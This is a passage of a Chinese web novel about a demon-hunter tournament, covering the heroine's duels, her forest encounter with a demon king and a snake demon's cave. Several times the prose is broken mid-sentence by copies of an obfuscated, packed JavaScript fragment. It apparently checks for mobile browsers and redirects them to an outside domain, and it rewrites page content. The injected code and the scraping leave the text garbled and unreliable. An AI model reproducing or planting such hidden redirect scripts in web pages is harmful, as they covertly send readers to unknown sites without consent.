l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143782|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的惨叫声,然后疯狂地抓挠身上的皮肤,随后跪倒在地,显然已经失去了继续行动的能力。最后裁判宣布了他的落败。 姜望舒刚走下擂台,就被流云派的几人团团围住。 顾璟扶住她,担忧之情溢于言表:“小师妹,没事吧?” 姜望舒对众人露出了一个宽慰的笑容:“没事,就是跑的有点累,没受伤,我休息一会,准备下一场和苏常打。” 不幸的是,她的三场比赛都抽在了同一天。 但万幸的是,她和黄天比赛后中间有半个小时的休息时间,虽然不能让她恢复到全胜状态,至少也有了喘息的机会。 她坐在椅子上打坐休息了一会,其余人都没有去询问刚刚的黄色粉末到底是何物,为什么会让黄天如此痛苦不已,而是都坐在她的周围,一边留意她的状态,一边观看下一场比赛。 片刻后,就在姜望舒的呼吸平稳下来时,突然感觉有一股强烈的视线落在了自己的身上,让她有一种被窥探的感觉,仿佛被一条毒蛇缠绕,挣脱不开,猛地睁开了眼睛,顺着引起不适感的方向看去。 冷不丁猛地跌入了一双光华流转的眼眸中,那双丹凤眼细长,还有其间一闪而过的绿光。 还是第一天见到的那个高台上的男子,她敏锐地发觉他的脸型似乎和第一天看到的有些许不同。 此刻,他正目光沉沉地望着她,目光交汇,就像是平静的湖面下,带刺的荆棘从湖底生出,它扰乱安静的鱼群,掀起无声的暗涌。 二人对视了一会,他率先先移开了目光,她便也不再看他。 已经到了和苏常的比赛时间了,姜望舒已经恢复的差不多了,她摸了摸口袋,比早上出发前瘪了一些,还好符纸准备的够多。 擂台的对面,一个看起来很憨厚的少年走了上来,甚至还咧嘴冲她友好地笑了笑。 除了一些小门派,每个大门派都有各自的特色。阴月派善制毒,很多招式被其他门派认为阴险,所以风评并不算好,不过,阴月派的实力的确很强大,所以身为排名第二门派的地位屹立不倒。 但是苏常的气质显得和阴月派格格不入,他显得很干净纯粹、老实憨厚,简单点来说,也就是没什么心眼。 就连苏常的姐姐,原作里的女主——苏萱,都是一个风韵十足的女子,她的笑容妩媚,肌肤柔嫩,当真是极美,且内心极其有谋略。 苏萱对她这个唯一的弟弟极其爱护,可能就是因为这个,才养成了苏常这么不谙世事的性格吧。 “流云派,姜望舒,请多指教。” “阴月派,苏常,请多指教。” 黄天的身型太过庞大,力气也比姜望舒大了不少,只怕她刚靠近就得被拍成肉饼,所以只能采取远攻,拉开彼此的距离,可苏常与黄天不同,他的身材比她还要瘦削几分,力气总不至于与她相差太多。 姜望舒选择和他拉近距离,两人快速飞奔向对方,凝聚了身上的内力,向前推出了一掌。 时间好像静止了两秒,姜望舒和苏常保持着这个姿势没有动。下一刻,两人都是倒飞了出去。 人飞出去的时候,姜望舒心里还在想:不是,你们一个个都是吃菠菜长大的?大力水手?力气那么大! 5. 京城捉妖师大赛(五) 姜望舒在空中翻了个身,落地后倒退了几步后稳住了身形。 而苏常就更惨一些,他们宗派本就不注重体能训练,他比姜望舒飞得还高,跟高空坠物似的,好在最后也是在擂台的边缘处平稳落地,没有直接掉下去。 远远地,姜望舒看到苏常对她比了个大拇指,双手比做喇叭状,喊道:“姜姑娘!你好厉害!力气好大——” …… 苏常明白近身是占不到什么便宜了,也就并没有上前,他反应不算快的脑袋终于想起来他擅用毒,于是开始有了动作。 在另一边的姜望舒看到苏常的反应,也有所行动起来,她双手一翻,身上就多了一件极其有弹性的透明衣服,将身体完完全全地包裹了起来。 “这不是防护衣吗?能抵御高温和寒冷,但相应地,别看这衣服很柔软,实际上重得很,会对行动造成不便。” 的确,寻常的防护衣并没有其他的功效,可这件衣服是经过她改造的,分子构成极为密集,一般的毒素难以渗透进来,即使不能完全隔绝,也一定会减缓中毒的过程。 姜望舒的行动果然缓慢了许多,有些迟钝地向苏常奔去。 苏常甩出了几个爆炸球,落到了两人中间,随着爆炸声音响起,一团团紫色的烟雾冒了出来,是毒气!烟雾渐渐弥漫在整个擂台上,好在擂台周围有结界阻挡,不然台下的人要倒下一大半。 苏常早已吃下有效的解毒丸,所以并不害怕中毒,眉头微皱,对她道:“你撑不了多久的。”话音刚落,他发现姜望舒并没有受到影响。 原来如此,他顿时明白了,是那件防护衣,居然可以隔绝阴月派的毒气! 之后,他又尝试了各种毒气弹,甚至是毒针,居然都没能伤害到姜望舒,二人交手间,他渐渐落了下风。 看台上的阴月派掌门早就坐不住了,这件衣服必须要得到,它简直是克制本门派的存在! 别看这件衣服对姜望舒的行动影响很大,但她毕竟还是个小姑娘,如果是实力更强大的人使用,那它的重量就是可以忽略不计的。 苏常无奈,从收纳袋中拿出了一把重剑。 看清楚那把武器后,姜望舒的瞳孔一缩,她突然想起来,苏常是有一个法器的,就是这把重剑,威力很强大。只是现在的苏常还太过弱小,不能很好地使用。 终于,他抓住了姜望舒一个大幅动作的空档,将手中的重剑刺向了她。 姜望舒躲闪不及,防护衣就这样破裂开来,剑头刺入了她的肩膀,猩红刺眼的液体一滴滴流了下来,滴落在场地上。 痛,好痛。这是她脑海中的第一个念头。 她步伐沉重向后退了两步,与他拉开了距离,硬生生地拔出了剑,用长鞭将苏常手中的重剑击落了,这也使得她拿鞭子的手掌被磨出了血珠,终于忍不住单膝跪在了地上。 眼见苏常步步靠近,她再次抛出了用于干扰视线的烟雾符纸,其间还夹杂着爆破符,都被苏常灵活躲开了。 白色的干扰烟雾和紫色的毒气混合在了一起,不久后,白烟散去,苏常已经走到了她的面前。 “你很聪明,实力也很强,但没用的,你已经中毒了,这毒会让伤口越来越痛,你撑不了多久的。”苏常俯视着她那张俏丽的脸庞。 姜望舒只是看着他,利落干脆地回:“还没结束。” 眼中的倔强竟让他的内心感到一阵心悸,那是一种淡淡又冰冷的眼神。 就在大家都觉得这局是苏常胜时,他却感到一股巨大的推力从侧面袭来,不知道何时,他们已经站在了舞台的边缘,这股力量十分大,本就有些筋疲力竭的苏常一时不察,直直向台下跌去。 一个女子的身影从紫色的团雾中,每一步都很缓慢。断线的血色玉珠沿伤口滑落,轻轻滴在地面上,绽放为一朵朵艳丽的红花。她的脸色因为疼痛已经变得苍白起来,额头上也冒出了冷汗,扎起来的鱼尾辫都有些散乱了。只有那双眼睛还亮亮的,灵动俏皮。 这一幕就这样刻进了很多人的脑海中。 “疼疼疼!师兄师姐救命呀!苏常,你这毒也太狠了,我胳膊真的好疼!”姜望舒不顾形象的托着自己的左肩,一瘸一拐地往台下走。 慕宇轩是第一个反应过来的,一个大踏步就上前扶住了她。 苏常眼神复杂有些地走了过来,伸手递给顾璟一枚丹药道:“这是解毒丹。” 顾璟喂她吃下,一股清凉感从丹田处扩散到四肢,姜望舒觉得肩膀处的伤口不那么痛了,苏梓又替她撒了药粉,简单包扎了一下。 苏常终是没忍住,开口疑惑道:“刚刚你是趁干扰烟雾升起后使用了替身人偶,然后隐藏在了我的毒气中,可是为什么那人偶会动也会说话?” 姜望舒赞赏地点了点头,看在他递解药那么快的份上,好心地解释道:“寻常的替身人偶的确不会动,可是这个玩偶背后还有一个控制符咒,所以我可以控制它的行动,至于那句话,是我提前录好的,由玩偶身后的符咒收录,必要的时候放出来罢了。” 她没有说的是,为何这玩偶如此逼真,那是使用了特制的秘法,用她的一滴血才达到的效果。 苏常提高嗓音道:“天啊,姐,你是我唯一的姐,难道你早就预判到了我要问你什么吗?你这也太厉害了。” 姜望舒极为怜悯地看了他一眼,没有搭话,这小子看起来比二师兄还要傻,这句话难道不是万能的话术吗? 见姜望舒没有回应自己,他不禁感慨,果然,大佬都是人狠话不多的。 “姜姑娘,我还看了你上一局的比赛,当时黄天触碰到你的粉末后直接跪倒在地,那粉末也是像我们门派研制出的毒药吗?” 姜望舒点了点头,马虎回应道:“类似吧,独家特制,无可奉告~” “好了好了,你先别问了,让我们小师妹休息一会。”顾璟看到她眉头皱了皱,有些不客气地挥手赶人,随后和慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143783|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宇轩一起,将她扶到安静的地方休息。 好在下一场要比赛的并不是她,所以她这次有接近一个时辰的休息时间。 那道注视又来了,不睁眼就知道是谁在盯着这边。肩膀上的伤口不时传来刺痛感,姜望舒的心里有些烦躁。不知道为何,她感到那目光的主人此刻心情很糟糕。 她默默地转了个方向,用后脑勺对着高台上的那人。 经过激烈的对抗,又轮到了姜望舒的场次。 这次,对面上场的是一个看似很柔弱的姑娘,但姜望舒却敏锐地察觉到她是个很精明的人。 “姜望舒,流云派,请多指教。” “丽丽,护盾派,请多指教。” 如果说姜望舒对于黄天和苏常是有了解的,那么对于丽丽这个人,她完全是一片空白。 不是姜望舒轻敌,实在是因为护盾派太不起眼,和很多小门派一样并没有什么特长,而原作中也不会在这样一个小角色上浪费太多的笔墨。 只见对面的姑娘居然也拿出了一条长鞭,不过是白莹莹的,见状,姜望舒也拿出了自己的鞭子,她的鞭子是乌黑的。 两条鞭子就这样紧紧地缠绕到了一起,场面一时僵持住了,姜望舒肩膀处原本已经止血了的伤口因为用力又再次崩裂开来,红色的鲜血渗透到了白色的布条上,她痛得阵阵发晕。 终于,丽丽的鞭子被甩飞了出去,人也挨了一掌,吐了一口淤血。 就在姜望舒想要进行下一步动作的时候,丽丽却突然举起了手,表示自己认输。 她本来就打不过姜望舒,只能期盼着上一场的比赛将她彻底击垮,这样她就可以直接轮空一轮或是轻易打败姜望舒,可目前来看,姜望舒是明显强于她的,还不如明哲保身,留存实力为下一场比赛做准备。 三场比赛就此落下序幕,姜望舒也被同伴们扶回了酒店休息。 接下来几天,就是平淡的养伤生活,姜望舒每天和苏梓聊聊天,不时去街上逛几圈,还遇到过几个其他门派的捉妖师,互相慰问了一下。 姜望舒心里盘算着,如何在苏梓不注意的情况下打探玄鹤镇的消息,如果她显得过于急切,一定会引起师姐的疑惑,到时候也不好解释她到底为何如此执着。 好在苏梓也不是跟她跟得很紧,偶尔她还是能得空独处。 积分排名前五的队伍名单出来了,分别是:青天派、流云派、阴月派、永日派以及半纱派。 流云派这边,只有三师姐苏梓第三场比赛的时候面对永日派的弟子体力不支而被打倒,其余人都是赢了三场。最后,以14分的成绩位居第二,而第一位的青天派更是取得了大满贯。 一时间,风声四起,大家都在讨论流云派到底是何方神圣,之前从未听说的小门小派居然排到了第二名,姜望舒几人的精彩表现,为何如此优秀的捉妖师之前从未露面,是不是有什么阴谋,三大门派要易主了等等诸如此类的言论不绝于耳。 6. 京城捉妖师大赛(六) 宫廷内部的人也更加关注起了今年的比赛,皇帝甚至有了纳流云派成员入朝为御用捉妖师的打算。 阴月派、永日派的掌门先后托人传来口信,想要见流云派的掌门一面,阴月派甚至提出要花重金求购姜望舒发明的黄色粉末和百毒不侵的防护衣。 不过,除了重金求购的事情问过姜望舒的意愿后,其余的都被大师兄以掌门目前不在,无法做主为由一一回绝了,保护了师弟师妹们不被这些琐事烦忧。 姜望舒想了想,她现在还挺缺钱的,也不知道原主的小金库藏到哪里去了,她居然没有这方面的记忆,也不能总靠着师兄师姐们给银子吧。而且他们门派的确是挺穷的,想到这,她脑海里又浮现出了那扇摇摇欲坠的门。 几乎没怎么犹豫,她就答应了,反正阴月派研制毒的能力奇高,这药就算她不给,日后也有可能被研制出来,也算是送一个人情。 而防护衣,她只是送给了他们两件,并没有告诉他们如何改造,至于能琢磨出什么,就要看他们的本事了。 野外实战,要把各位捉妖师随机投放到葱雾森林外围,在这里,随时有妖怪出没,最后评比的标准是每只队伍所收服的妖怪数量亦或是质量。 在比赛前,苏梓给门派内一人配备了一个联络器,只是可惜,在传送前皆被大赛的裁判收走了,看来能碰到谁就只能凭运气。 眼前一道白光闪过,姜望舒闭了闭眼,再次睁眼,自己竟是倒挂在了一棵大树上! …… 这法阵还真是随机传送哈,感觉脑袋有点充血了。 姜望舒面无表情地用鞭子抽掉了身上挂着的树枝,一个翻身落到了地面上,拍了拍衣裙上的灰尘,观察起了四周。 也没什么好观察的,都是高大的树。 姜望舒不得不承认,其实她是有些路痴的,赛前大师兄还考虑过,若是联络器被收走,那就在保证安全的前提下向东边靠拢。可是现在她也分不清哪里是东方了。 随便走走得了。 思考间,她给自己贴上了一张隐身符,有一个时辰的功效,无论是妖还是捉妖师,只要她不主动释放内力,就难以被发现踪迹,这极大地保证了她的安全。 一张隐身符失效了她就再贴一张,若是旁人见了,一定会大呼她败家,这符纸的制作是很损耗精力的,就算是青天派那样的大宗门也不会用符如流水的! 可姜望舒就没有这个烦恼,毕竟她可是画一天符纸只是打个哈欠的程度。 一路上,姜望舒还顺手收了几只凶残的妖怪。 正心情愉悦着呢,她的脚步突然顿住了,有东西在前面的小溪里。 “谁在那?” 突然,一个懒洋洋的声音传来,那声音慵懒好似冬日暖阳、娟娟流水,却又带着不易察觉的漠视和高高在上的威严。 姜望舒向声音来源看去,只见一个绿衣男子倚靠在瀑布下的一块大石头上,黑发如瀑,簇簇青丝软软地落在石头上。 她从未见过如此好看的男子,他绿色的长衣单薄又华美,衣摆处绣着暗纹,被溪水沾湿,丹凤眼半眯着,嘴角微微向上翘起,清雅和散漫两种矛盾的感觉同时在他身上体现。 此刻他俊美的脸上噙着一抹放荡不拘的微笑,却又带着淡淡的威压。 姜望舒不知道他是什么时候出现在这里的,他的气息隐藏得很好。 莫名的,她的心里升起了危机感。 完了,感觉这个打不过。 姜望舒内心慌张,面上却不显,反倒故作镇定地回应道:“在下姜望舒,不知是哪位在此,如有冒犯,还望海涵。” 男子看着不远处的少女明明十分惊恐,却强装镇定地看着他,眼神飘忽,如临大难,一只手紧紧攥着拳头,另一只手摸向口袋,心中有些好笑。 一伸手,一道妖力就打掉了她刚掏出的传送符。 姜望舒的脸色更白了几分,看来今日是逃不掉了。 在他出手的那一刻,她就确定,眼前的这个人就是在高台上三番五次注视她的人,只因他二人的气息近乎一样。 姜望舒握紧了手中的鞭子,没想到面前的男人兀的一笑,带着蛊惑道:“这么紧张,莫不是认出了我是谁?” 她这么聪明,刚才那一下当然认出来了。 一抬头,无辜的大眼睛望向岩石上的男子,还透露着些许的迷茫,就这样沉默着冲他摇了摇头,就差把我什么都不知道几个大字写在脸上了。 男子噗嗤一声笑得更欢了,随后故作失落地点了点头,遗憾道:“看来,倒是我高看了你的智商,不知道没关系,我可以告诉你,我是四大妖王之一的祁辰,今年比赛混进了裁判席。” 看来,他是非要杀自己不可了。姜望舒明白了他的意思。 反派把真相都说出来,然后再说一句:只有死人才能保守住秘密,这是话本里常有的情节,她懂。 可说完这句话,祁辰就没了动静,似乎在等待着什么。 怎么,还要她留一个死前遗言吗?还是她要摆一个惊恐的表情,指着他颤声喊:什么!居然是你!不!不要杀我! 祁辰拂了拂衣袖,道:“罢了,只要你能十招之内拿到我手中的这个铃铛,我不仅放你安然无恙地离开,还将它赠予你。”他翻身飞到岸边,一串精致的陶瓷铃铛出现在他手中,小巧玲珑,表面绘有淡蓝色的花纹。 他轻轻晃动了一下,周围的空间仿佛扭曲了一瞬。 姜望舒略加思索了一会,点了点头,推测这应该是某种能够扰乱精神的法器。可惜,就她那面不改色画上一天符纸的精神力,这法器算事碰上硬茬了! 她连声招呼都没打,直接冲上前,主打的就是一个出其不意。 没想到祁辰反应更快,身子微微侧开了,灵巧地躲过了她伸出的手。 二人交手了数次,她所有的招式都被祁辰轻松躲开了。 “你已经要没有机会了哦~” 难道真的要用这招吗?姜望舒咬了咬牙,内心在要脸和要命之间纠结了三秒,在多犹豫一秒都是对自己生命的不尊重。 她抬手作势要去够他手中的铃铛,在他再一次微微侧身闪躲的时候,她直接一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143784|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向下面踢去。 天下武功,唯奇、险、快不胜! “找死啊你?”祁辰闲散的表情有一瞬间的破裂,险险避开断子绝孙的一脚,却又被拍了一下胸膛,三张定身符箓被叠加着打在了身上,虽说对于祁辰这种千年大妖来说并没有什么用,但一瞬间的停滞就够了。 铃铛成功到了姜望舒手中,她有些得意地笑了笑,却在触及到祁辰冷若冰霜的脸时僵住了。 祁辰感到胸膛中有一团熊熊燃烧的烈火,几乎要让他失去理智。几千年来,从未有人!就连妖都没有!居然敢向那处踢去,找死!他想要立刻掐死眼前的人。 在触及到姜望舒有些胆怯的眼神后,他不知怎的,怒气居然一下子消了大半。 又是这种眼神,无趣,万千年间,他见过太多人畏惧的神情,但不知怎的,这次却平添了些烦躁。 见祁辰的情绪逐渐稳定下来,姜望舒的胆子又回来了,恭敬地拱了拱手,说道:“刚刚是我唐突了。阁下一定不会出尔反尔,和我一介小小捉妖师计较吧!” 声音清脆,还带着点鼻音,就像山间清泉叮咚作响,悦耳动听,让人的心情也随之变得明媚起来。 姜望舒的小命算是保住了,法器也到手了,只是有谁能告诉她,为什么祁辰还跟着她? 此时的祁辰已经把那件单薄的长衣换掉了,穿上了一件轻便的衣服,只是还是一副吊儿郎当的样子,和姜望舒谨慎的模样形成鲜明的对比。 想到她刚刚竟在一名男子身上看出了妩媚,姜望舒顿感一阵恶寒,鸡皮疙瘩都起来了,一定是吓昏了头了。 两人走了一阵,只有轻微的脚踩树叶声,一只妖怪都没有碰见,也是,四大妖王之一就在自己身边,哪还有什么小妖敢不要命往前凑? 终于,姜望舒有些忍不住了,对祁辰说道:“你能不能收敛一下气息,不然我一只妖都收不了。” 祁辰掀起眼皮看了她一眼,没说话,但的确把一身妖气给隐藏住了。 没想到这一路上,祁辰真的老老实实没有多做干预,两人相处十分和谐。 百年以下修为的妖怪死后尸体不会消失,姜望舒在前猎杀,他还能好心的在后面帮忙捡一下尸体,收到捉妖袋里,偶尔遇到的妖怪难缠了,祁辰还会在后面像个大爷一样吆喝着告诉她妖怪的弱点,以此加快速度。 “你说你也是堂堂一大妖王,就这样残杀同类可以吗?” 姜望舒暗暗想:不可以的话就别跟来了。 祁辰睨了她一眼:“别管,少问。” 不知走了多久,远远地听到了说话的声音。 一个略显稚嫩但非常耳熟的声音不满地抱怨:“阿姐,我们为什么一定要和他同行?我也很强的,可以保护阿姐!” 回应他的是一个温柔的女声。 “别闹,我们是要去森林深处收服一只千年老妖,和沈公子一起胜算更大。沈公子,我弟弟年龄还小,不懂事,你莫要见怪。” “嗯。” 说话声愈来愈近,姜望舒和祁辰这才看到来的是另外三名捉妖师。 7. 京城捉妖师大赛(七) 早在其中两人刚开口的时候,她就听出了沈墨尘和苏常的声音。既然苏常喊她姐姐,那么另一个捉妖师就是……苏萱? 不出所料,苏萱身穿一件粉色薄纱裙,正在和沈墨尘交谈,她举手投足间带着妩媚,一抹浅笑如春风拂面,白皙无瑕的皮肤透出淡淡红粉,薄薄的双唇如玫瑰花瓣娇嫩欲滴。 只是沈墨尘好似在有意和她保持着距离,显得并不热情又不过分冷淡,他一抬眼,最先注意到姜望舒,嘴角上扬了一下,快到她以为自己是花了眼。 “姜望舒?” 三人向姜望舒这边望了过来,苏常看到是姜望舒,立刻急急地跑过来了,吓得姜望舒侧身一闪,担心被他撞飞,只是还没等到他靠近,一只大手就拦住了他。 在一旁的祁辰眼中的嫌弃都要溢出来了,后退一步,想了想,还是忍不住弯腰在姜望舒身边低语道:“小心被传染到一身傻气。” 苏常:为什么感觉他的每一段呼吸都在试图远离自己。 “你好,我是阴月派的苏萱。你就是姜望舒吧!当时的比赛我也在场,你的表现很精彩!”后面缓步走来的苏萱就显得稳重多了,向姜望舒伸出手。 姜望舒回了一句“你好”,回握住了她的手。 随后,苏萱的目光看向刚刚用一只手拦着姜望舒的祁辰,眉头紧皱,困惑道:“不过……这位小友好面生。” 祁辰眼睛一眯,灿烂一笑道:“在下祁辰,星辰门派的参赛者,很高兴认识大家。” “星辰派?为何从未听说过这个门派参赛。” 祁辰脸不红心不跳的继续忽悠道:“今年有七十多个门派参赛,我们门派实在是太小了,在第一轮其实就被淘汰了,但我还是想要历练,所以就跟着来了。被淘汰的捉妖师也是可以被传送到这里历练的,只不过捉到的妖怪不能算作是比赛里的。” 沈墨尘了然,确实是有这么规定的,虽然参赛门派的名单都经过青天派之手处理,但他也没有记住所有门派的名称,更何况,近年来,大大小小的捉妖门派不计其数。 如果说是说小门小派来参赛而没有被关注到,也是极有可能发生的事情。 眼见都是熟人,大家都决定公平竞争,同行的话一路上可以互相有个照应,所以沈墨尘很自然地告诉姜望舒和祁辰他们要去寻找一只大妖。 姜望舒却在内心暗暗叹了一口气,他们要去找那只百年老妖,殊不知这里正有一只万年老老妖,你们还和他谈笑风生着呢。 “这千年老妖是一条蛇妖,几个月前来到葱雾森林外围的,本门派的好几个弟子都被她吞掉了。按理说外围顶多出现百年修为的妖物,这蛇妖的出现实属反常。趁着这次比赛,把它收服了,或是赶回葱雾森林内部,保证我们人类和妖族互不干扰。”沈墨尘对姜望舒和祁辰解释着。 妖怪的修为年限是从它开了灵智后算起的,并不是它是实际活的年龄,理论上来说,活得更久的生物拥有灵识的可能性就越大,当然不排除一些器物在机缘巧合下成妖的可能性。 听到沈墨尘称一条仅仅有百年修为的妖怪为大妖,祁辰忍不住嗤笑一声,笑话,他可是自出生起就有灵识,引得几人都看向他。 姜望舒也不知道自己哪来的胆量,敢在他背后拍他一掌,然后一脸抱歉地看着剩下三人,担忧道:“实在不好意思,他的胆子特别小,刚刚他是吓得,所以哼了一声。” 说完,不断地轻拍他的后背,从正面看,那样子还真像是在安慰他,殊不知在祁辰的后脚跟,其他人看不到的地方突然长出一根藤蔓,紧紧地缠绕在姜望舒的手指上。 由于视角的原因,其他三人的站位看不到姜望舒和祁辰身后的情况。 藤蔓的主人似乎有些生气,一根小小的尖刺长出,扎破了姜望舒的食指,只是像被蚊子叮到般轻微的痛,她只能忍着,把戏演完。 姜望舒相信,如果几人现在撕破脸,以他们几个目前的实力,那必然是活不下去的,能有一个或者逃出去就谢天谢地了,妖王可是代表着妖怪中的最强实力者,他们现在还太过稚嫩。 沈墨尘和苏常自然是相信姜望舒的,所以就算苏萱觉得哪里有些警惕,也就这么因为另外两人的插科打诨而放松下来。 插曲过后,几人一个接一个步伐不停地穿梭在森林外围。姜望舒和祁辰落在了队伍的后面。 她稍微犹豫了一下,开口小声问道:“祁辰,你的本体是什么植物?藤蔓那么扎手!” 祁辰笑了笑:“怎么,不怕我了?” 他本就长得妖孽,这一笑,更是晃花了姜望舒的眼。眉目俊朗,那双风眼深邃。只是他的身形高大,身材精壮,周身气势逼人,所以并不显得女气。 她反倒有些不解,问道:“为什么要怕?如果你想杀我,早就动手了,何必帮了我一路然后再杀了我。” 祁辰略做思考状,点了点头后说:“如果我的目标是那三个人呢?一个是下一任青天派掌门的候选人,一个是阴月派掌门最得意的女弟子,还有她的亲弟弟也在。这三个人要是出了事,那捉妖界一定会被搅得翻天覆地,我们妖族就可以撤虚而入,这天下说不定就要易主了。” 然后,他就注意到,姜望舒将脑袋转过去了的时候偷偷翻了个白眼道:“那你去吧。” 她虽然没有他的实力强,但又不是傻子,他分明对几人一点杀意都没有,就连刚刚在她感觉手指疼痛后,就迅速将藤蔓上的倒刺收了回去,若不是捉妖师的感觉比普通人灵敏,她都以为是自己的错觉了。 甚至于说,他们会和哪一队的捉妖师遇上,这都是无法确定的。 可如果是这样的话,他为什么要混入比赛呢? 这样想着,她也就问出来了。 祁辰低眸看向她,慵懒地说:“我闲的喽~” 他说这话的时候莫名带着几分正经,像是真假掺半一般,但话的内容就太过于离谱了,所以姜望舒不信。 这时,沈墨尘发现俩人落到了队伍后面,放缓了脚步,凑到两人中间,善意提醒道:“要跟紧,这里是丛林外围,可能会有危险。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143785|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜望舒立刻乖巧答应。 沈墨尘似是看出了姜望舒的拘谨,说道:“你不用觉得拘谨,说实话,上次在长街一见,我看到你就心生亲切感,我没有兄弟姐妹,如果你愿意,我很高兴你能把我当成哥哥。” 哥哥?只怕他不是冲着自己这个便宜妹妹来的,而是自己的三师姐苏梓吧!典型的醉翁之意不在酒,她这双眼睛已经看透了太多。 随后,沈墨尘有些欲言又止,张了张嘴,清雅的脸上爬上了两团可疑的红晕。 倏忽,姜望舒福至心灵,解释道:“近来之后我还没遇到过我的师兄师姐们,不过你可以放心,我三师姐经常来这边历练,她保命的东西很多。” 沈墨尘应了一声,有些不好意思地接着走到前面开路。 “春天要来喽~正是万物复苏的季节——”苏萱突然在后面道,“看来是有两朵桃花要开了。” 听到苏萱的调侃,沈墨尘前进的步伐更快了,只留给众人一个落荒而逃的身影。 姜望舒反应过来,问:“为什么是两朵?我师姐还没表示呢。” 苏萱不语,在姜望舒转头的空档飞快地瞄了祁辰一眼,这小子从刚刚开始就对着姜望舒笑得一脸灿烂。当局者迷,旁观者清。他的眼神就没从姜望舒的身上移开过,两人看起来年纪也相仿,还在队伍后面说着悄悄话,举止亲昵。 如果姜望舒知道苏萱内心的活动,一定会一边眨眼一边大喊:不要被这家伙的脸欺骗了!他已经老了!我是被绑架的! 可怜的苏常也不明白他们在打什么哑谜,挠了挠头,问:“那个,我问一下哈,为什么春天只有两朵桃花开,其他的桃花呢?还有,其他的花也有好多吧,我觉得蒲公英也好看还好玩,一吹就散。” 真是阴月派的蒲公英公子,野生野长,质朴无华。 也蛮不错的。 几人最终走到了一个山洞处,沈墨尘抬手示意几人停下,没有人开口说话,每个人都警惕起来,这是捉妖师最基本的素养,以免打草惊蛇。 苏萱给大家各递了一颗丹药,除了祁辰,其他几人都没有犹豫地服下了。 踏入山洞的刹那,一股寒意如潮水般汹涌袭来,瞬间将人包裹其中。洞内昏暗潮湿,仿佛是另一个世界,与外界的阳光明媚、暖风拂面截然不同。空气中弥漫着一股潮湿而冰冷的气息,带着丝丝泥土和青苔的味道,让人忍不住打个寒颤。 四周的岩壁湿漉漉的,水珠顺着石缝悄然滑落,在地上积成一个个小小的水洼,反射出微弱而幽暗的光。洞顶不时有水滴落下,发出清脆的“滴答”声,在空旷的山洞中回荡,更添了几分寂寥与阴森。 突然,苏常脚下一滑,好在被苏萱眼疾手快地拉了一把,才没有摔个四仰八叉。 “冒冒失失的,看着点路。”苏萱无奈地低声道。 脚下的地面崎岖不平,布满了青苔,踩上去滑腻腻的,每一步都需小心翼翼。借助微弱的光线,几人这才看清,刚刚绊了苏常一下的居然是一根白骨,看形状是大腿骨。 8. 京城捉妖师大赛(八) 向前望去,各处的角落都散落着人骨,有的看大小,生前应该还只是婴儿。 苏常忍不住爆了句粗口,挥拳说道:“他妈的,这蛇妖必须死!” 其他人的脸色也不怎么好看,这蛇妖吃了太多的人,连小孩都不放过,其阴险程度可见一斑。最可怕的是,就它这种伤天害理的修炼方法,现在的修为不知道已经窜到什么程度了。 思索的间隙,祁辰忽地握住了姜望舒的手腕向后一拉,低喝道:“滚!” 一条一寸长的黑色小蛇隐藏在姜望舒的脚旁,一双冷冽的眼睛透着阴毒的光芒,身体紧绷,正嘴巴大张,露出尖锐的毒牙,向姜望舒扑来。 一切发生的太快了,姜望舒从看到它到做出反应不过一瞬的时间,她猛地后退了半步。 与此同时,一道绿光从身边打出,那蛇立刻停在半空中,突然猛烈地抽搐起来。 它仿佛看到了什么极为恐怖的东西,居然口吐人言道:“你,你是……” 又是一道法力打在了它身上,这下它彻底开不了口了,只能在地上又惊又惧地盯着祁辰。 祁辰用看垃圾的眼神望向它,冷冷道:“没错,本尊懒得动,这洞里弯弯绕绕的那么多岔路,十分钟内去把你那个所谓的老大叫出来。不然我就把这脏窝给炸了,一个都活不了。” 如果不是情况不允许,姜望舒都想给祁辰鼓掌了,不愧是妖王,说出的话就是霸气。 但姜望舒还是心有担忧,问道:“它回去通风报信,那蛇妖跑了怎么办?” 祁辰摇了摇头,解释道:“不会,它的同类都在这洞中,我们妖族是不会轻易抛弃同伴独活的。” 另一边,沈墨尘和苏常也发现了石壁上、岩石缝隙里众多的小蛇,正使出浑身解数将它们击杀,一剑一条,跟切菜似的。苏萱更绝,直接将周围撒上了一圈粉末,朝她而来的小蛇触及到毒粉直接口吐白沫晕死过去。 久而久之,它们不敢向几人靠近了,转头逃跑了。 